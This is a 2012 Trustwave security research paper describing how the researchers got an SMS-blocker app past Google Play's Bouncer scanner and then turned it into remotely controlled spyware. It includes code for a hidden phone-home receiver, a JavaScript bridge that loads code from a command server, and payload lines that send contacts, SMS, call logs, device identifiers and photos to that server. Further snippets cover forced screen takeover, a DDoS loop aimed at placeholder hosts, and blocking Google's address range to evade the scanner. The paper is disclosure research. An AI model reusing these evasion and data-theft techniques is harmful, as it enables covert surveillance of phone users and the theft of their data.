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Introduction 
As an end user, we never hear a friend or a colleague exclaim, “My mobile phone just got a virus!!!” Is it 
because the threat does not exist or is something else going on? 

Unfortunately for us security geeks, mobile devices were not made for us. The devices we use every day were 
made for the masses. Jailbreaking or Rooting aside, there isn’t an “expert mode” you can turn on and get access 
to all the activity going on within your device. The security or anti-virus offering aren’t all that great either – 
they are mainly signature-based and do not have the ability to look at anything below the application layer or 
user space within the operating system. Oddly enough, walk around any security conference and you’ll see just 
about everyone using an iOS or Android device. If any one of those devices was to be exploited during the 
conference there would likely be no visual indication of such an incident and the conference attendee would go 
about their day unknowingly exposed to malicious activity.  

We live in a time where as a mobile device user the security is mostly left up to blind faith. The mobile device 
industry is at a place in history where decisions today will be amplified a hundred-fold five, ten or even 20 years 
from now. We are at a point where those who have been in the security industry long enough can use our 
experience to predict that unless the major players in the mobile industry do something very soon, we’ll likely 
experience catastrophic incidents targeting mobile devices in the not too distant future. 

When you look at the mobile device landscape there are many attack vectors that one could look at for research 
purposes. Obviously finding a zero-day Remote Code Execution (RCE) is difficult but the rewards could be great 
for both the researcher and also the criminal community piggybacking upon such efforts. They could be used in 
targeted attacks against high profile individuals and yield impressive results.  

Through our team’s incident response investigations, we know targeted attacks against individuals do exist and 
have been increasing. We have also seen such attacks target mobile devices as a way to reach the individual on 
a very personal level such as being able to read calendar entries, GPS coordinates and even record audio and 
video. While these attacks and the exploits that enable them are extremely interesting, the average consumer, 
the group we feel will be hit hardest when the mobile malware dam breaks, will never encounter an “espionage” 
type of attack, rather their world will be turned upside down by a mass-malware attack likely propagated via an 
application they knowingly downloaded and installed on their device.  

There are a few various mobile application markets. They most popular are the Apple App Store, Google Play 
(formally known as Google Android Market) and the Amazon Appstore for Android. It is publically known that all 
apps are subject to a mostly manual review process in the Apple and Amazon markets. For Google Play, until 
very recently there was no review at all. Google now employs a solution to keep bad applications out of their 
market called “Bouncer”. 

Who “Bouncer” is and what method he uses to distinguish between good and bad applications was a mystery to 
all of us except those involved with the project at Google.   

For security concerned consumers and those in security positions at enterprises and governments the question 
of “Bouncer’s” effectiveness is top of mind.  

Is it fully automated or is there actually a room fully of college interns testing out every single application that is 
submitted? How difficult is it to get past “Bouncer” and have a piece of malware published in Google Play? When 
we embarked on our research journey, we didn’t know, but we wanted to find out.  

After completing our research, we felt like we had been on an adventure where each step along the way was a 
path to a higher level of “achievement”, so the abstract of our Black Hat USA talk was written to resemble a 
children’s story:  

Meet SMS Bloxor. He is a single function app that wanted to be much more. He always looked up at those elite 
malware and botnet apps but now that the Google’s Bouncer moved into town his hopes and dreams appeared 
to be shattered. This was until he was handed a text file while strolling along a shady part of the Internet (AKA 
Pastebin). The title of this txt file was “Bypassing Google’s Bouncer in 7 steps for Fun and Profit”. Upon reading 
this, our little app began to glow with excitement. He routed himself all the way to the gates of Google Play and 
began his journey from a simple benign app that allowed users to block SMS messages from their ex’s to a full-
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fledged info stealing botnet warrior. In this presentation will tell the story of how our little app beat the Bouncer 
and got the girl (well, at least all her personal information, and a few naughty pics). 
Our Motivations 
Google is one of the largest, most well-respected technology companies on the planet. They have incredible 
search technology and bleeding edge research projects where cars can drive themselves and navigate obstacles 
that would make most drivers falter at very high speeds1. They are also the developer of one of the fastest 
growing operating systems in history – Android. Over 800,000 Android devices are being activated on mobile 
networks every single day2. That’s 800,000 new consumers who have the ability to spend money and likely do in 
Google Play.  

According to Horace Dediu’s analysis3, Google makes $1.70 per Android device per year, which reached $400 
million in revenue in 2011. That’s a lot of cash that could be spent on Android development and making them 
more secure for consumers. 

Now we all know that malware in Android markets has been a problem in recent years. Through our own 
research we’ve found variants of Zeus, SpyEye and other nastiness just waiting to be downloaded by 
unsuspecting consumers. Historically, Google had relied upon informed consumers and security researchers to 
report malware to them. They would then verify the report and promptly remove the malicious application from 
the market before any more damage could be done. 

To us and to likely others in the security industry this appeared to be a battle that was lost the day the Google 
Android market first opened. Relying upon users to report malware to you in order to remove it is a little 
backwards from a defense perspective. Obviously, if you control entry into the market, a proactive approach in 
keeping the malware out in the first place is a great idea.  

The smart people over at Google were thinking the same thing and decided to use some of that pile of cash to 
fund a project. The project would develop a solution to keep malware out of the Google Android Market. On 
February 2, 2012, Google announce such a project, “codenamed Bouncer”4. 

When we heard about this project, we rejoiced that this Android malware problem might have met its match 
because the same people who are developing self-driving cars have figured out how to beat this growing beast 
of a problem with a “Bouncer”. 

As security researchers we became curious. With “Bouncer” in place 1) how difficult would it be to get malicious 
application submitted, and 2) how long would it take for one to get caught? Since it was called “Bouncer”, it 
almost naturally draws an analogy to an underage kid and the local bar. You might try 10 different types of fake 
IDs before one works, but even then someone is going to notice you look a little young and kick you out.  

Hiroshi Lockheimer’s blog post5 pointed to “behaviors that indicate an application might be misbehaving”. So we 
set off to create an application that increasingly misbehaved to see when and at what point in our research we 
would be stopped. The results would be to test the limits and the start of the art of mobile application market 
malware detection.  

We set off on this research journey knowing that we would have some successes and some failures to share 
with first Google and ultimately the information security community so that those who are tasked at developing 
both public and private application markets can learn from our experience. 

  

  

                                                
1 https://plus.google.com/116899029375914044550/posts/MVZBmrnzDio 
2 http://googlemobile.blogspot.com/2012/02/androidmobile-world-congress-its-all.html 
3 http://www.asymco.com/2012/04/02/android-economics/), 
4 http://googlemobile.blogspot.com/2012/02/android-and-security.html 
5 http://googlemobile.blogspot.com/2012/02/android-and-security.html 
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What We Knew About “Bouncer” 
Until February 2nd, 2012 we didn’t know that “Bouncer” even existed. On that day, thanks to Hiroshi 
Lockheimer’s blog post6, we learned the following characteristics: 

• It’s automated. 
• It scans both new applications and those already in the market. 
• It looks for known malware immediately upon upload by a developer.  
• It’s also behavior based.  
• It is run on Google’s cloud.  
• It simulates Android’s runtime.  
• It looks for “hidden, malicious” behavior.  

All in all, as a researcher and from a malware developer’s perspective, “Bouncer” sounds like he is well equipped 
to catch our little friend “SMS Bloxor” pretty quickly. Given the resources that Google has at their disposal, at 
this stage in our research we expected our spell of curiosity to be squashed pretty quickly. 

This paper includes the process we followed and the results of the activities around our research in quest to test 
the bounds of “Bouncer” and his ability to detect and expel malware from the Google Play marketplace. 

  

  

                                                
6 http://googlemobile.blogspot.com/2012/02/android-and-security.html 
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Research Approach and Process 
In early February 2012, we had a meeting to discussion the possibility of performing research on the topic of 
“Failures of Automated Malware Detection with Mobile Application Marketplaces”. 

Much of the previous research around mobile devices had been in our lab with hardware and software we had in 
our possession and could fully control. In order to explore “Bouncer” and his capabilities, we couldn’t replicate 
that environment in our lab. The concept of doing research in a live system / environment that we didn’t own 
had a major obstacle that we were challenged to overcome: 

1. Attempting to gain access to one of Google’s systems outside the application development and 
publishing process they defined could likely be considered “hacking” Google. This was something we felt 
would be irresponsible, could result in damage of Google’s systems and nor did we feel that Google 
would take this activity lightly should we find an issue and then disclose it to them. 

2. By placing active malware into the Google Play marketplace we were risking the possibility of a 
legitimate end-user downloading our malware and in turn becoming infected. This was something that 
we felt we could control during our research and did so by putting controls in place during the process 
we followed.  

During our subsequent research meetings, we proposed that we begin with the development of a completely 
benign application. We would then apply for a legitimate Google Play developer account and publish the 
application just like anyone else who was participating in a mobile app development process. We didn’t want our 
initial publishing to look or smell like a “researcher” account should Bouncer have some checks in place to weed 
out possible malicious developer accounts.  

To test the bounds of “Bouncer” we considered incrementally adding more and more malicious functionality to 
the application through incremental versions to see when and why we were flagged as malware and removed 
from the marketplace.  

At this stage of our research we didn’t even know when and how often “Bouncer” scanned applications that 
were submitted. Would it only be the first time? Would it be once per version update or even more frequently? 
This was something we wanted to answer during our research as well. 

We were also considering that if we could develop a method of hiding the malicious functionality from Bouncer, 
we could likely update the application and never be flagged or removed as malware.  

This would basically allow us to completely bypass Bouncer and publish a malicious application in the 
marketplace that would never be flagged.  

Lastly, like in our previous research7 we did not want to perform any functionality that was blatantly malicious 
so functionality such as attempting to root Bouncer or obtain shell access was not in scope. We wanted to use 
the legitimate tools provided by the Android SDK to attempt to beat Bouncer at his game.  

To accomplish this goal we broke up our research process into 7 phases. There were actually 10 phases in our 
research, the first two being used to set a baseline, the middle 7 used to update the application with malicious 
functionality and a final phase where we wanted to see if was even possible to get caught. The following section 
of this paper outline the process we followed and the results we obtained from our research. 

 

Phase 0 – Version 1.0 – Begin the Benign  
We wanted to reduce and eliminate the risk of a legitimate end-user finding our app and installing it on their 
device. To accomplish this, we did some research to identify a type of application that was both very common in 
the marketplace, but also could legitimately have features or functionality that could be used for malicious 
purposes long term. For example, we knew we were going to want access to a bunch of things that require 
permissions; it looks suspicious if you ask for permission for something that you might not have a legitimate 

                                                
7 https://www.defcon.org/html/links/dc-archives/dc-19-archive.html#Percoco2 
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reason to access within your app, so we wanted to come up with an app that would have reasonable cause to 
request a variety of permissions. 

After a short period of time, we decided about developing a common application such as an “SMS Blocker”. 

After developing the initial version of the application, we fully branded it so it would not stand out under 
(potential) manual review as a half-baked or potentially malicious application. We decided to call our application 
“SMS Bloxor”. 

  

 
Figure 1: SMS Bloxor’s Icon 

 
Figure 2: SMS Bloxor Promo Ad 

 

At this stage, we did not know if we could trust Google that the actual “Bouncer” was fully automated. With 
Google’s resources they could have a data center full of college students reviewing and testing each application 
that was submitted to the marketplace. While we did feel this was unlikely, in the odd chance that someone did 
perform a manual functionality review we wanted it to appear that the developers invested time in the branding 
and marketing of their application.  

The functionality of this application was very simple: upon launch the end user could define a phone number to 
block and no longer receive SMS messages from. 
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Figure 3: SMS Blox in action 

 

Another small bit of functionality that we added to this benign version was the ability for the application to 
“phone home” on periodic basis. In this version of the application this functionality did nothing more than tell us 
if Google’s “Bouncer” allowed outbound traffic from the sandbox it ran from. If this was the case (and we had 
hoped it would be), we might be able to tell when and where the application was running from within the 
Google environment. This could be an important piece of information as we moved forward.  

To phone home, we used a simple BroadcastReceiver.  The first thing to do is put it into the Android Manifest, 
which tells the system to allow the object to act as a receiver: 

 

<receiver android:name=".receiver.CommunicationReceiver" /> 

In our BroadcastReceiver, we schedule it to run itself again in the future using a PendingIntent and the 
AlarmManager. 

Intent alarmIntent = new Intent(context, CommunicationReceiver.class); 

PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, alarmIntent, 
PendingIntent.FLAG_UPDATE_CURRENT); 

AlarmManager alarmManager = 
(AlarmManager)context.getSystemService(Context.ALARM_SERVICE); 

alarmManager.set(AlarmManager.RTC_WAKEUP, nextTime(), pendingIntent); 

 

The “nextTime()” method used the interval we specified to determine the next timestamp (AlarmManager wants 
it in milliseconds) to execute. We’re using AlarmManager.RTC_WAKEUP, so the app will phone home even when 
it’s sleeping in your pocket. Note: This isn’t very good for battery life, but as “malware developers”, we don’t 
care much about being green.  

Our BroadcastReceiver sets itself up to run again after it runs. So we just need a way to kick it off initially – we 
have the application do that every time you open it, and we also schedule it to start when the phone boots up. 
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This requires an extra permission, but we considered that to be worth it to make sure the malware is always 
running. 

A Background Service will appear in the list of “currently running apps”. The user can then choose to force quit 
the app, if they want to. Using BroadcastReceiver/AlarmManager, our app does NOT appear in the list of 
running apps unless they’ve recently opened it. (In other words, it appears to the user as if the app is acting 
normally, and not doing anything in the background.) 

On our backend control server, we’re just serving up some Javascript at /api (both GET and POST), and we 
record the parameters that are included in the request. At this stage, that’s just the IP address and some basic 
build information about the phone (which does not require a permission to access). 

Once all the pieces of the initial version were complete, we proceeded to sign up for Google Android developer 
account. This account was setup in the name of “Nicholas J. Percoco” and he paid the registration fee. Shortly 
after completing the developer registration process, we were granted access to publish our application. 

  

 
Figure 4: Our Google Android Developer Account Activated 

 

In working to mitigate the risk of having an end user download and install our test application on their mobile 
device, we decided to take another precaution in our research. We priced the application well above any other 
similar application in the Google Play marketplace. There are dozens of SMS bocker applications in the market 
today, most of which are free or less than $2.00 to purchase. The price we chose was significantly higher, but 
not something that was astronomical that might result in unwanted attention either. We settled on the price of 
$49.95. 

At this point we logged into our Google Play developer account and preceded to fill in all the fields, upload all 
the logos and screens shots. We finally uploaded Version 1.0 of “SMS Bloxor” for publishing.  

We also needed to set the permission for this application and did so with those that we would be legitimate for 
this type of application.  
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Figure 5: SMS Bloxor Uploaded and Active 

 

We were about to click the “Publish” button and realized we wanted to charge for the download of the 
application. Google requires application developers to have a Google Checkout merchant account to do so.  We 
applied for one of those accounts and within a few minutes had the ability to set the price of our application we 
were going to “sell” in the market. The entire establishing of a developer account, uploading the application, 
and establishing and linking a Google Checkout account was performed in less than 1 hour. 

   

 
Figure 6: SMS Blox Published 

 

We then published our application and within  few minutes, the application phoned back to our control server 
and left its mark:  

 
Figure 7: First Sign of Bouncer 

 

We now knew more about “Bouncer” than we previously had or at least were able to validate some of Google’s 
claims about what it did: 

• We knew that they did scan upon publishing and was likely automated.  

• We also knew were Bouncer lived. The IP address 74.125.19.84 was owned by Google.  

• We also knew that they wanted it to at least appear to be running as an “HTC Sapphire / T-Mobile 
myTouch 3G”. We felt this was interesting considering if this was running in Google’s cloud it would be 
running within an emulator and not an actual hardware device. The emulator that comes with the 
Android SDK does not pretend to be a particular phone; it is quite noticeably an emulator. 
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Phase 0.1 – Version 1.0.1 – Double Check     
At this point, we had a single scan of our benign application, but we didn’t want to trust that Bouncer’s scanning 
activity would happen each time or in the same way. We waited about a day and developed a new version of 
the application to upload.  

Again this was a completely benign version of the application, it had all the functionality that we advertised with 
an addition of phoning home to our control server to tell us that it was in fact being scanned by Google.  

We then proceeded to upload Version 1.0.1 with the minor change in place.  

 

 
Figure 8: Version 1.0.1 Uploaded 

 

Again within a mater of a few minutes, we saw activity in our control server’s logs: 

 
Figure 9: 2nd Showing of Bouncer 

 

We saw something new this time. Bouncer was now running on a different IP Address but within the same net 
block.  

We also verified that our application was available in Google Play (at this point in our research it was still called 
Android Market but changed branding shortly after). 



 
  

                             Copyright © 2012 Trustwave Holdings, Inc.  All rights reserved                       12 

 

 

 
Figure 10: SMS Bloxor Available to Purchase – Cheap! 

 

Phase 1 through 7 
After running two successful tests and obtaining the IP address information, we knew where Bouncer lived.  

This raised an interesting question: With simple net block information could we perhaps use this against 
Bouncer and hide our malicious functionality from him indefinitely? 

We decided to go down the path of the following process: 

• If our application was run within the Google net block used by Bouncer, then don’t execute any 
malicious functionality.  

• If it is run from anywhere else8, then do run the malicious functionality.  

This would basically be a two-faced application. The one we submitted when running within the Google 
environment will appear to be completely benign, but when downloaded by an end user would be as malicious 
as we wanted it to be.  

As an additional level precaution, we decided to define “anywhere else” as just a segment within the Trustwave 
SpiderLabs network9. This would ensure that if in the unlikely chance someone paid $49.95 for a SMS blocker, 
they would get exactly what they paid for and nothing else.  

                                                
8 During the entire duration of our research not a single person outside of our research team downloaded and installed our 
application on their device. This was also verified by Google during the debrief with them post-research.  
9 If someone from our team happened to purchase this app, well then I guess we’d be having a little fun now wouldn’t we? 
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Upon discussion, we decided that we also didn’t want to rule out the chance that someone at Google as part of 
the Bouncer process might actually manually review our application and more specifically at the code level.  If 
we had unused and malicious functionality within the application this would certainly raise a red flag and result 
in our application being removed by Bouncer.  

We needed to find a way to build an application that in every respect was completely benign until we didn’t 
want it to be. Again, we turned to legitimate functionality allowed by Google and often used by other 
developers. We decided to look at a very popular application, Facebook, for hints on how we could accomplish 
our goal. 

Facebook, along with many other popular apps including Netflix and LinkedIn, use what’s called a “hybrid” 
approach, where the app is written in HTML and Javascript and distributed inside a “native wrapper”. This allows 
it to live amongst the other native apps and provides access to the phone’s native capabilities.  

A web app running in the browser is sandboxed out of accessing the phone’s contact list, but a web app that 
lives in a native wrapper can access the contact list through the platform’s Javascript bridge. 

Facebook and Netflix, etc. use the hybrid approach because they have more HTML and Javascript talent than 
native app development skills on staff, and also because it enables them to take a cross-platform approach to 
development; they can essentially build one (HTML) app and distribute on multiple platforms in a way that takes 
advantage of those platforms’ native capabilities. 

Upon learning that Facebook not only distributes Javascript with their app, but also uses it for continuous 
deployment and to rapidly test and release new features without requiring an app update, we knew we were 
onto something. Every website downloads new, unsigned code that gets executed on your computer or mobile 
device; but not every operating system allows that code to access whatever it wants. 

Like Facebook, we included Javascript in our application, as distributed through our app in the market. We built 
our app such that the normal flow of operations for our legitimate functionality would call the Javascript; and we 
built it such that it can download new Javascript, so we can update the functionality of the app without requiring  
a user to download a new version: 

 

WebView webView = new WebView(context); 

webView.getSettings().setJavaScriptEnabled(true); 

webView.addJavascriptInterface(bridge, "Bridge"); 

webView.loadData(RawFileReader.readFile(webView.getContext(), R.raw.default_js), 
"text/html", "UTF-8"); 

 

When we need to load new functionality from the control server: 

 

webView.postUrl(API_ENDPOINT, postData(bridge)); 

 

And if it fails for any reason, then we immediately fall back to the default Javascript that comes with the app, so 
the app continues to work. 

After studying what Facebook was doing within their application, we decided that if we developed legitimate 
functionality within our application that were in scope for a “SMS Blocker” we could utilize a Javascript bridge to 
dynamically enable malicious functionality when we wanted to. Specifically, we would never enable this 
functionality when Bouncer scanned our application.  

Using this method, even a manual review of our application would only reveal exactly the functionality that we 
were using in the benign “face” of our application. It would not be until the application phoned home and we 
gave it a malicious payload to download and execute on a “victim’s” device. 
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This process also allowed us to develop our control server into a command and control (C&C) system that would 
allow us to selectively deploy selective malicious functionality to the “victim’s” devices very much like modern 
and advanced malware performs in PC the world.  

 

 
Figure 11: Our Comand & Control Server Interface 

  

Our C&C server can enable any of the malicious functionality upon our request. We can also combine 
functionality to “smash and grab” as much data as possible in a single request, although this would be noisy 
from a device activity perspective and may have performance issues on lower end devices.  

Below is a walk through of each of the phases, with notes on the functionality we added from both a legitimate 
and malicious point of view. We also included some code snippets for the developers reading this paper who 
might want to explore these concepts themselves.  

In addition, we noted activity about Bouncer here as well since at this point in our research we fully expected 
him to scan our application each time. We also didn’t expect him to identify anything malicious and allow it to be 
published within the Google Play market.  

 

• Phase 1 
o Application Version 

 1.1 
o Legitimate Functionality 

 Select phone numbers from your contacts to block. 
 We can use Javascript within our app, for legitimate functionality: 

• view.loadUrl(String.format("javascript:addToBlacklist('%s')
", sender)); 

o Malicious Functionality   
 There are a lot of social networking applications that can utilize your phone contacts to 

help you find additional “friends” within their network.  Our functionality allows us to 
dump and download all of the contacts on a victim’s phone whenever we want.  

• Bridge.addListToData("contacts", 
Bridge.getContactPhoneNumbers()); 



 
  

                             Copyright © 2012 Trustwave Holdings, Inc.  All rights reserved                       15 

 

 We send this Javascript down to the phone, and it calls the same legitimate 
functionality to get the contacts, but uploads it back to our server. 

 We can also add/remove numbers to be blocked, which will not appear to the user: 
• addToBlacklist("H:12345"); 

o Bouncer Scan Results 
 Bouncer scanned only once: 

• 74.125.19.87  
• tmobile:HTC:sapphire:T-Mobile myTouch 3G:opal:sapphire 

 

• Phase 2 
o Application Version 

 1.2 
o Legitimate Functionality 

 View your SMS history, and block numbers that have communicated with you the past. 
 The idea being that if you’re getting annoying SMS messages, you don’t have to 

remember the number, you can just find the annoying messages and choose to block 
them right within our app. 

o Malicious Functionality   
 Since our application is involved in SMS blocking, the malicious functionality for this 

phase focuses on obtaining the blocked and received SMS messages from the victim’s 
device.  

• Bridge.addListToData("sms_records", 
Bridge.getSmsRecords()); 

 Again, we just send that Javscript down to the phone, it executes the legitimate code, 
but uploads it to our server. 

o Bouncer Scan Results  
 Bouncer scanned once, from a different IP: 

• 74.125.114.92 
• tmobile:HTC:sapphire:T-Mobile myTouch 3G:opal:sapphire 

 

• Phase 3  
o Application Version 

 1.3 
o Legitimate Functionality 

 See your own phone number when selecting contacts. 
 That’s a fairly common feature of contacts viewing apps, so it wouldn’t seem like 

something is amiss. 
 We needed to add one permission: 

• <uses-permission 
android:name="android.permission.READ_PHONE_STATE" /> 

 In addition to the user’s phone number, that gives us access to the ANDROID_ID, the 
device id, the voicemail number, the subscriber id (IMEI number), and the SIM serial 
number. We don’t show those to the user. 

o Malicious Functionality 
 Performing reconnaissance on a victim’s phone is something that could be beneficial to 

the attackers. This information could drive other functionality in the malware. A decision 
tree could be built into the C&C server by detecting the OS, phone number and other 
information about the device and only serving up malicious functionality that is known 
to work on the target device such as rooting or other device specific functionality.  

 We get all the phone info and upload it to our server: 
• Bridge.addObjectToData("phone_info", 

Bridge.getPhoneInfo()); 
 Again, we just call the same method that we legitimately do in the app. 
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 Bouncer Stealth Mode: 
• We also added a feature that would block the malware from ever being sent to 

any IP in 74.125.*.* 
o Bouncer Scan Results 

 This time Bouncer did not scan us. We don’t know why.  
 

• Phase 4 
o Application Version 

 1.4 
o Legitimate Functionality 

 Select photos to associate with your contacts.  
• We could just read the photo you’ve already associated with the contact, but if 

you’re going to block them maybe you want a different picture in our app? 
Maybe this app was just made by a novice developer? 

 We didn’t have to add any picture-related permissions for this functionality. 
• getContentResolver().query(MediaStore.Images.Media.EXTERNAL

_CONTENT_URI, null, null, null, 
MediaStore.Images.Media.DATE_TAKEN); 

o Malicious Functionality   
 This malicious functionality isn’t something a SMS blocker would generally need access 

to, but since we allowed the end user to attach photos to the contacts or other phone 
numbers they were blocking, we felt it would pass the sniff test should this application 
undergo a manual functionality or code review. With this in place, we could specify a 
specific image to download or just pull down all images in the victim’s camera roll.  

• Bridge.addObjectToData("photo", 
Bridge.chooseRandom(Bridge.getPhotos())); 

• Bridge.addObjectToData("photo", 
Bridge.chooseFirst(Bridge.getPhotos())); 

• Bridge.addObjectToData("photo", 
Bridge.chooseLast(Bridge.getPhotos())); 

• Bridge.addObjectToData("photo", 
Bridge.chooseItem(Bridge.getPhotos(), 2)); 

o Bouncer Scan Results 
 We were scanned within minutes of uploading the update: 

• 74.125.114.85 
• tmobile:HTC:sapphire:T-Mobile myTouch 3G:opal:sapphire 

 

• Phase 5 
o Application Version 

 1.5 
o Legitimate Functionality 

 View your phone call records, and add those numbers to the SMS blacklist.  
• This seems like a bit of a stretch for legitimate functionality, but we added it 

anyway to see if we could get any sort of reaction out of Bouncer.  
• getContentResolver().query(CallLog.Calls.CONTENT_URI, null, 

null, null, null); 
o Malicious Functionality 

 At this point, we began to stop playing it as safe as we had been and start to request 
access to other areas of the device that while might be in the “class” of what an SMS 
blocker is involved with wasn’t entirely something this app should be doing. Using this 
we could use our C&C server to request a copy of the call records from the victim’s 
device at will.  

• Bridge.addListToData("phone_records", 
Bridge.getPhoneRecords()); 
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o Bouncer Scan Results 
 They scanned us once. 

• 74.125.19.86 
• tmobile:HTC:sapphire:T-Mobile myTouch 3G:opal:sapphire 

 

• Phase 6 
o Application Version 

 1.6 
o Legitimate Functionality 

 We “monetize” the app using advertisements.  
 We display an ad inside the app, and when you click it, we open up the browser to 

show a web page. 
o Malicious Functionality:   

 At DEF CON 19, we disclosed a flaw in the Android operating system that would 1) 
allow any application on the device to see which application was in the foreground and 
2) steal the focus of the application in the foreground by placing a screen in front of the 
foreground application. We demonstrated that we could use this functionality to steal 
credentials from another application. Building this ability within our application allows us 
to dynamically steal credentials when we wanted to rather than allow the application to 
run attack logic using timed intervals on its own.  

• Bridge.openAd("http://malicious.fake/target"); 
 By sending down this bit of Javascript, we’re able to force the phone to open any 

website we want to any time we want to. The user doesn’t need to have our app open, 
or even have the screen turned on. We completely take over the screen with any web 
page we want.  

o Bouncer Scan Results:  
 We were scanned once. 

• 74.125.19.87 
• tmobile:HTC:sapphire:T-Mobile myTouch 3G:opal:sapphire 

 

• Phase 7 – Version 1.7 
o Application Version 

 1.7 
o Legitimate Functionality: 

 We added “analytics” support. It’s not real, but it looks like it might be real if someone 
was to review the application. 

public void sendAnalytics(final String target, final int 
numEvents) { 
 AsyncTask<String, String, String> task = new 
AsyncTask<String, String, String>() { 
  @Override 
  protected String doInBackground(String... targets) { 
   for (int i=0; i < numEvents; i++) { 
    HttpClient client = new 
DefaultHttpClient(); 
    HttpGet get = new HttpGet(target); 
    try { 
     client.execute(get); 
    } catch (Exception e) { 
     // ignore 
    } 
   } 
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   return null; 
  } 
 }; 
 task.execute(); 
} 

o Malicious Functionality:   
 At this phase, we wanted to use our C&C server as more of a botnet controller. Since 

we could dynamically pushdown JavaScript code, we soon realized there was the ability 
to execute similar attack tools used by hacktivists such as LOIC/HOIC to send multiple 
HTTP requests from the victim’s device to DDoS target of our choice.  

 In our labs, we were launching this attack from a single device to a single system, but 
in a practical sense should the application become “popular” and installed on 1000s or 
millions of devices on 3G/4G networks this attack could easily be performed.  

• for (var i=0; i < 128; i++) {     
Bridge.sendAnalytics("http://unsuspecting.fake/target", 
100); } 

 We send down this Javascript that tells the device to send thousands and thousands of 
requests wherever we want, as fast as it can. 

o Bouncer Scan Results:  
 They scanned us once. 

• 74.125.19.81 
• tmobile:HTC:sapphire:T-Mobile myTouch 3G:opal:sapphire 

 

Making a Purchase 
After we were successful in updating the application from version 1.0 to 1.7, we decided to attempt to make a 
purchase from one of our lab devices. We wanted to see if there was a function of Bouncer that would perform 
a more intense analysis of the application once an actual purchase was made.  

 
Figure 12: Making the first and only purchase of SMS Bloxor 
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After we made this purchase and installed the application on this device, we were able to test out the 
functionality we built into “SMS Bloxor”. Of course, all of the legitimate functionality worked as expected within 
the application. We also were able to modify the JavaScript code that was sent down to the device every 15 
minutes. One by one we were successfully able to test and demonstrate each piece of malicious functionality as 
well. 

We did not observe any additional activity by Bouncer as a result of our purchase.   

 

Final Test – Let’s Get Caught! 
After going through the process of updating our application many times, having Google Bouncer scan our 
application and in turn allow it to be published, we wanted to put the application into “smash and grab” mode to 
attempt to make as much noise as possible, hopefully trigger some detection mechanism.  

After a few weeks of sitting in the market, Bouncer scanned our app again (without an update). As every time 
previously, we passed the scan. Shortly after, we submitted a new update, with “minor bugfixes” (i.e., nothing 
had substantially changed, but the APK was different to try and trigger another scan) and we deactivated the 
C&C server’s IP block on Google’s network. This meant upon the next scan, Bouncer should be hit with the 
possibility of executing our malware.  

They scanned us within minutes, and we served the malware to the scanner. But the scanner went away, and 
nothing had happened. We didn’t receive any of the information we were attempting to gather from Bouncer. 

We needed our malware to get much more aggressive – most people don’t turn off their phone after just a few 
minutes, so to save battery and work better, we had the malware checking in with the C&C server every 15 
minutes. Time to tighten that up a bit. 

We submitted a new update with the check-in interval down from 15 minutes to 1 second. Our malware was 
now acting in a way that it never would in real life, but we wanted to do something to make Bouncer notice us. 

The scanner sent us back some information: 

Contacts: 412-722-522510, 202-456-111111 

Phone number: 15555215877 

Voicemail: 15552175049 

ANDROID_ID: 9774d56d682e549c 

Device ID: 112358132134559 

Subscriber ID: 310260509066168 

SIM Serial Number: 89014103211118510720 

We also learned that the scanner did not have any camera photos, or phone records, or SMS records. This 
wasn’t surprising; it’s not a real phone. 

This time, the scanner acted differently than it ever had before. It scanned us 19 times within 6 minutes.  

 

                                                
10 This number is located in Pennsylvania and registered to someone named “Wilson Miller”. 
11 This number is the White House. 
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We’d discovered that the scanner runs for less than 30 seconds per scan. And apparently it thought it found 
something suspicious, because after the first scan, it scanned us again just 6 minutes later. 

Even after all of this scanning, the malicious application remained within Google Play for approximately 24 
hours. After which it was removed, perhaps after some manual verification and then our developer account 
received the following email from Google: 

|	
  74.125.114.83	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:02	
  |	
  

|	
  74.125.112.81	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:02	
  |	
  

|	
  74.125.114.94	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:02	
  |	
  

|	
  74.125.112.85	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.112.90	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.112.82	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.114.87	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.114.89	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.112.91	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.112.80	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.114.86	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.112.108	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:07:20	
  |	
  

|	
  74.125.114.83	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:13:17	
  |	
  

|	
  74.125.114.95	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:13:27	
  |	
  

|	
  74.125.114.83	
  	
  |	
  tmobile:HTC:sapphire:T-­‐Mobile	
  myTouch	
  3G:opal:sapphire	
  |	
  2012-­‐05-­‐02	
  18:13:27	
  |	
